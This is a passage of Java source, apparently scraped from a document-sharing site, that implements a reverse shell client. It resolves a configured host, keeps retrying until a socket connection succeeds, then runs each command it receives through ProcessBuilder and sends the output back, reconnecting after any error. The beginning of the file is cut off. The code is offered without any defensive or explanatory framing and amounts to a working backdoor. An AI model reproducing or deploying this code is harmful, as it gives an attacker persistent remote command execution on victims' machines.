Documente Academic
Documente Profesional
Documente Cultură
BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;
import java.util.Scanner;
Process pr = ps.start();
in = new BufferedReader(new
InputStreamReader(pr.getInputStream()));
line = "";
stdout = "";
while ((line = in.readLine()) != null) {
stdout = stdout + line;
}
stdout = stdout.toString();
pr.waitFor();
in.close();
return stdout;
}
catch(Exception errr)
{
return errr.toString();
}
}
else if(length==2)
{
try
{
ps=new ProcessBuilder(spli[0],spli[1]);
ps.redirectErrorStream(true);
Process pr = ps.start();
in = new BufferedReader(new
InputStreamReader(pr.getInputStream()));
line = "";
stdout = "";
while ((line = in.readLine()) != null) {
stdout = stdout + line;
}
stdout = stdout.toString();
pr.waitFor();
in.close();
return stdout;
}
catch(Exception errr)
{
return errr.toString();
}
}
else if(length==3)
{
try
{
ps=new ProcessBuilder(spli[0],spli[1],spli[2]);
ps.redirectErrorStream(true);
Process pr = ps.start();
in = new BufferedReader(new
InputStreamReader(pr.getInputStream()));
line = "";
stdout = "";
while ((line = in.readLine()) != null) {
stdout = stdout + line;
}
stdout = stdout.toString();
pr.waitFor();
in.close();
return stdout;
}
catch(Exception errr)
{
return errr.toString();
}
}
else if(length==4)
{
try
{
ps=new ProcessBuilder(spli[0],spli[1],spli[2],spli[3]);
ps.redirectErrorStream(true);
Process pr = ps.start();
in = new BufferedReader(new
InputStreamReader(pr.getInputStream()));
line = "";
stdout = "";
while ((line = in.readLine()) != null) {
stdout = stdout + line;
}
stdout = stdout.toString();
pr.waitFor();
in.close();
return stdout;
}
catch(Exception errr)
{
return errr.toString();
}
}
else if(length==5)
{
try
{
ps=new
ProcessBuilder(spli[0],spli[1],spli[2],spli[3],spli[4]);
ps.redirectErrorStream(true);
Process pr = ps.start();
in = new BufferedReader(new
InputStreamReader(pr.getInputStream()));
line = "";
stdout = "";
while ((line = in.readLine()) != null) {
stdout = stdout + line;
}
stdout = stdout.toString();
pr.waitFor();
in.close();
return stdout;
}
catch(Exception errr)
{
return errr.toString();
}
}
else if(length==6)
{
try
{
ps=new
ProcessBuilder(spli[0],spli[1],spli[2],spli[3],spli[4],spli[5]);
ps.redirectErrorStream(true);
Process pr = ps.start();
in = new BufferedReader(new
InputStreamReader(pr.getInputStream()));
line = "";
stdout = "";
while ((line = in.readLine()) != null) {
stdout = stdout + line;
}
stdout = stdout.toString();
pr.waitFor();
in.close();
return stdout;
}
catch(Exception errr)
{
return errr.toString();
}
}
else
{
return "Too many arguements";
}
}
private static String resolve(String host)
{
InetAddress ip;
while(true)
{
try
{
ip = InetAddress.getByName(host);
host = ip.getHostAddress().toString();
return host;
}
catch(Exception err)
{
continue;
}
}
}
private static int connect(String ip,int port)
{
try
{
s = new Socket(ip,port);
return 1;
}
catch(Exception err)
{
return 0;
}
}
public static void main(String[] args) throws IOException
{
String host = "localhost";
int port = 123;
String ip;
ip = resolve(host);
int stat;
do
{
stat=connect(ip,port);
}while(stat!=1);
System.gc();
pr = new PrintWriter(s.getOutputStream(),true);
sc = new Scanner(s.getInputStream());
sc.useDelimiter("\0");
String received;
String stdout;
while(true)
{
try
{
received = sc.next();
received = received.trim();
received = received.replace("\0", "");
if(received.contains("quit")==true)
{
pr.println("quit");
sc.close();
s.close();
System.exit(0);
}
else
{
stdout = execute(received);
pr.print(stdout + "\0");
pr.flush();
}
}
catch(Exception err)
{
System.gc();
do
{
stat=connect(ip,port);
}while(stat!=1);
pr = new PrintWriter(s.getOutputStream(),true);
sc = new Scanner(s.getInputStream());
sc.useDelimiter("\0");
}
}
}
}